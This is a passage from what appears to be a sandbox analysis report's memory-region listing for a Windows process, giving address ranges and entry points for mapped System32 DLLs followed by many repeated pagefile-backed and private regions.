"\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 767 start_va = 0x7ffd4bfe0000 end_va = 0x7ffd4c010fff monitored = 0 entry_point = 0x7ffd4bfe7d10 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 768 start_va = 0x7ffd4c040000 end_va = 0x7ffd4c0b9fff monitored = 0 entry_point = 0x7ffd4c061a50 region_type = mapped_file name = "schannel.dll" filename = "\\Windows\\System32\\schannel.dll" (normalized: "c:\\windows\\system32\\schannel.dll") Region: id = 769 start_va = 0x7ffd4c140000 end_va = 0x7ffd4c149fff monitored = 0 entry_point = 0x7ffd4c141830 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 770 start_va = 0x7ffd4c250000 end_va = 0x7ffd4c26efff monitored = 0 entry_point = 0x7ffd4c255d30 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 771 start_va = 0x7ffd4c3c0000 end_va = 0x7ffd4c41bfff monitored = 0 entry_point = 0x7ffd4c3d6f70 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 772 start_va = 0x7ffd4c470000 end_va = 0x7ffd4c486fff monitored = 0 entry_point = 0x7ffd4c4779d0 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 773 start_va = 0x7ffd4c590000 end_va = 0x7ffd4c59afff monitored = 0 entry_point = 0x7ffd4c5919a0 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 774 start_va = 0x7ffd4c620000 end_va = 0x7ffd4c659fff monitored = 0 entry_point = 0x7ffd4c628d20 region_type = mapped_file name = "ntasn1.dll" filename = "\\Windows\\System32\\ntasn1.dll" (normalized: "c:\\windows\\system32\\ntasn1.dll") Region: id = 775 start_va = 0x7ffd4c660000 end_va = 0x7ffd4c686fff monitored = 0 entry_point = 0x7ffd4c670aa0 region_type = mapped_file name = "ncrypt.dll" filename = "\\Windows\\System32\\ncrypt.dll" (normalized: "c:\\windows\\system32\\ncrypt.dll") Region: id = 776 start_va = 0x7ffd4c770000 end_va = 0x7ffd4c79cfff monitored = 0 entry_point = 0x7ffd4c789d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 777 start_va = 0x7ffd4c900000 end_va = 0x7ffd4c955fff monitored = 0 entry_point = 0x7ffd4c910bf0 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 778 start_va = 0x7ffd4c980000 end_va = 0x7ffd4c9a8fff monitored = 0 entry_point = 0x7ffd4c994530 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 779 start_va = 0x7ffd4c9b0000 end_va = 0x7ffd4ca48fff monitored = 0 entry_point = 0x7ffd4c9df4e0 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 780 start_va = 0x7ffd4caf0000 end_va = 0x7ffd4cb03fff monitored = 0 entry_point = 0x7ffd4caf52e0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 781 start_va = 0x7ffd4cb10000 end_va = 0x7ffd4cb5afff monitored = 0 entry_point = 0x7ffd4cb135f0 region_type = mapped_file name = "powrprof.dll" filename = "\\Windows\\System32\\powrprof.dll" (normalized: "c:\\windows\\system32\\powrprof.dll") Region: id = 782 start_va = 0x7ffd4cb60000 end_va = 0x7ffd4cb6ffff monitored = 0 entry_point = 0x7ffd4cb656e0 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 783 start_va = 0x7ffd4cb70000 end_va = 0x7ffd4cb7efff monitored = 0 entry_point = 0x7ffd4cb73210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 784 start_va = 0x7ffd4cb80000 end_va = 0x7ffd4cbc2fff monitored = 0 entry_point = 0x7ffd4cb94b50 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 785 start_va = 0x7ffd4cc80000 end_va = 0x7ffd4ccd4fff monitored = 0 entry_point = 0x7ffd4cc97970 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 786 start_va = 0x7ffd4cce0000 end_va = 0x7ffd4d323fff monitored = 0 entry_point = 0x7ffd4cea64b0 region_type = mapped_file name = "windows.storage.dll" filename = "\\Windows\\System32\\windows.storage.dll" (normalized: "c:\\windows\\system32\\windows.storage.dll") Region: id = 787 start_va = 0x7ffd4d350000 end_va = 0x7ffd4d516fff monitored = 0 entry_point = 0x7ffd4d3adb80 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 788 start_va = 0x7ffd4d5b0000 end_va = 0x7ffd4d664fff monitored = 0 entry_point = 0x7ffd4d5f22e0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 789 start_va = 0x7ffd4d670000 end_va = 0x7ffd4d857fff monitored = 0 entry_point = 0x7ffd4d69ba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 790 start_va = 0x7ffd4d860000 end_va = 0x7ffd4d8c9fff monitored = 0 entry_point = 0x7ffd4d896d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 791 start_va = 0x7ffd4d8d0000 end_va = 0x7ffd4da55fff monitored = 0 entry_point = 0x7ffd4d91ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 792 start_va = 0x7ffd4da60000 end_va = 0x7ffd4db7bfff monitored = 0 entry_point = 0x7ffd4daa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 793 start_va = 0x7ffd4db80000 end_va = 0x7ffd4dc40fff monitored = 0 entry_point = 0x7ffd4dba0da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 794 start_va = 0x7ffd4dc70000 end_va = 0x7ffd4deecfff monitored = 0 entry_point = 0x7ffd4dd44970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 795 start_va = 0x7ffd4def0000 end_va = 0x7ffd4def7fff monitored = 0 entry_point = 0x7ffd4def1ea0 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 796 start_va = 0x7ffd4df00000 end_va = 0x7ffd4df9cfff monitored = 0 entry_point = 0x7ffd4df078a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 797 start_va = 0x7ffd4e160000 end_va = 0x7ffd4e1bafff monitored = 0 entry_point = 0x7ffd4e1738b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 798 start_va = 0x7ffd4e1c0000 end_va = 0x7ffd4e26cfff monitored = 0 entry_point = 0x7ffd4e1d81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 799 start_va = 0x7ffd4e270000 end_va = 0x7ffd4e2dafff monitored = 0 entry_point = 0x7ffd4e2890c0 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 800 start_va = 0x7ffd4e2e0000 end_va = 0x7ffd4e31afff monitored = 0 entry_point = 0x7ffd4e2e12f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 801 start_va = 0x7ffd4e320000 end_va = 0x7ffd4e479fff monitored = 0 entry_point = 0x7ffd4e3638e0 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 802 start_va = 0x7ffd4e480000 end_va = 0x7ffd4e526fff monitored = 0 entry_point = 0x7ffd4e4958d0 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 803 start_va = 0x7ffd4e530000 end_va = 0x7ffd4e958fff monitored = 0 entry_point = 0x7ffd4e558740 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 804 start_va = 0x7ffd4e9d0000 end_va = 0x7ffd4eb25fff monitored = 0 entry_point = 0x7ffd4e9da8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 805 start_va = 0x7ffd4eb30000 end_va = 0x7ffd5008efff monitored = 0 entry_point = 0x7ffd4ec911f0 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 806 start_va = 0x7ffd500f0000 end_va = 0x7ffd50141fff monitored = 0 entry_point = 0x7ffd500ff530 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 807 start_va = 0x7ffd50150000 end_va = 0x7ffd501f6fff monitored = 0 entry_point = 0x7ffd5015b4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 808 start_va = 0x7ffd50200000 end_va = 0x7ffd5026efff monitored = 0 entry_point = 0x7ffd50225f70 region_type = mapped_file name = "coml2.dll" filename = "\\Windows\\System32\\coml2.dll" (normalized: "c:\\windows\\system32\\coml2.dll") Region: id = 809 start_va = 0x7ffd50380000 end_va = 0x7ffd504c2fff monitored = 0 entry_point = 0x7ffd503a8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 810 start_va = 0x7ffd504d0000 end_va = 0x7ffd50690fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 812 start_va = 0x420000 end_va = 0x435fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000420000" filename = "" Region: id = 813 start_va = 0xff50000 end_va = 0xffcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ff50000" filename = "" Region: id = 814 start_va = 0xffd0000 end_va = 0x1004ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ffd0000" filename = "" Region: id = 815 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 816 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 817 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 818 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 819 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 820 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 821 start_va = 0x440000 end_va = 0x440fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 822 start_va = 0x8fd0000 end_va = 0x914ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000008fd0000" filename = "" Region: id = 823 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 824 start_va = 0x10050000 end_va = 0x100cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010050000" filename = "" Region: id = 825 start_va = 0x100d0000 end_va = 0x1014ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000100d0000" filename = "" Region: id = 826 start_va = 0x440000 end_va = 0x45ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 827 start_va = 0x460000 end_va = 0x46ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000460000" filename = "" Region: id = 828 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 829 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 830 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 831 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 832 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 833 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 834 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 835 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 836 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 837 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 838 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 839 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 840 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 841 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 842 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 843 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 844 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 845 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 846 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 847 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 848 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 849 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 850 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 851 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 852 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 853 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 854 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 855 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 856 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 857 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 858 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 859 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 860 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 861 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 862 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 863 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 864 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 865 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 866 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 867 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 868 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 869 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 870 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 871 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 872 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 873 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 874 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 875 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 876 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 877 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 878 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 879 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 880 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 881 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 882 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 883 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 884 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 885 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 886 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 887 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 888 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 889 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 890 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 891 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 892 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 893 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 894 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 895 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 896 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 897 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 898 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 899 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 900 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 901 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 902 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 903 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 904 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 905 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 906 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 907 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 908 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 909 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 910 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 911 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 912 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 913 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 914 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 915 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 916 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 917 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 918 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 919 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 920 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 921 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 922 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 923 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 924 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 925 start_va = 0x440000 end_va = 0x44ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000440000" filename = "" Region: id = 926 start_va = 0x440000 